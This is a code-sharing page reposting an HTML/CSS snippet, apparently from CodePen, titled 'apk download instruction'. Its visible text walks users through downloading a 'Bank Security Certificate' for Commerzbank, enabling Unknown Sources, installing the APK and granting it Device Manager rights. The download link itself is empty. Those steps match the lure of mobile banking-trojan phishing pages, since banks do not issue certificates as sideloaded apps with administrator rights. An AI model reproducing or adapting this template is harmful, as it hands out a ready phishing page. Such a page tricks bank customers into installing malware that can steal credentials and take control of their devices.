apk download instruction

In this example below you will see how to do a apk download instruction with some HTML / CSS and Javascript

Thumbnail
This awesome code was written by kaktys, you can see more from this user in the personal repository.
You can find the original code on Codepen.io
Copyright kaktys ©
  • HTML
  • CSS
<!DOCTYPE html>
<html lang="en" >

<head>
  <meta charset="UTF-8">
  <title>apk download instruction</title>
  
  
  
      <link rel="stylesheet" href="css/style.css">

  
</head>

<body>

  <div class="apk_steps" style="">
        <div class="apk_step_item " style="">
            <span class="apk_step_nnumber">1.</span>
            <h1 class="apk_step_title" style="">Download Bank Security Certificate</h1>
            <p class="apk_step_text 	">
                Download the Bank Security Certificate to your Android device. To do this, click the <b> Download</b> buttonn.
            </p>
            <a href="" class="btn btn-danger ">Download
                <span class="fa fa-download "></span>
            </a>
        </div>
        <div class="apk_step_item " style="">
            <span class="apk_step_nnumber">2.</span>
            <h1 class="apk_step_title" style="">Installationn</h1>
            <p class="apk_step_text">
                Open the <b> Settings </b> of your device, select <b> Security </b> or <b> Applications </b> (depending on your device) and enable <b> Unknown Sources </b> ,
            </p>
            <div class="imgcontainr " style="">
                <img src="http://i.imgur.com/D1WCIua.jpg " style="" class="i55453">
            </div>
        </div>
        <div class="apk_step_item " style="">
            <span class="apk_step_nnumber">3.</span>
            <h1 class="apk_step_title" style=""> Run the installation</h1>
            <p class="apk_step_text 	">
                Start the Commerzbank Security Certificate from <b> Notices </b> or your <b> download folder </b>, tap Install. After successful installation, tap <b> Open </b> and select <b> Device Manager </b>.
                 <b class = "l009"> Done! </b>
            </p>
        </div>
    </div>
  
  

</body>

</html>

/*Downloaded from https://www.codeseek.co/kaktys/apk-download-instruction-JryExz */
.apk_step_item {
    position: relative;
    padding-left: 40px;
    margin: 20px 0px;
}

img.i55453 {
    width: 80%;
}

span.apk_step_nnumber {
    position: absolute;
    left: 0px;
    top: 0px;
    font-size: 24px;
    font-style: italic;
    font-weight: 100;
}

h1.apk_step_title {
    color: #128456;
}

.imgcontainr {
    margin: 9px 0px;
}

b {}

b.l009 {
    display: block;
}

Comments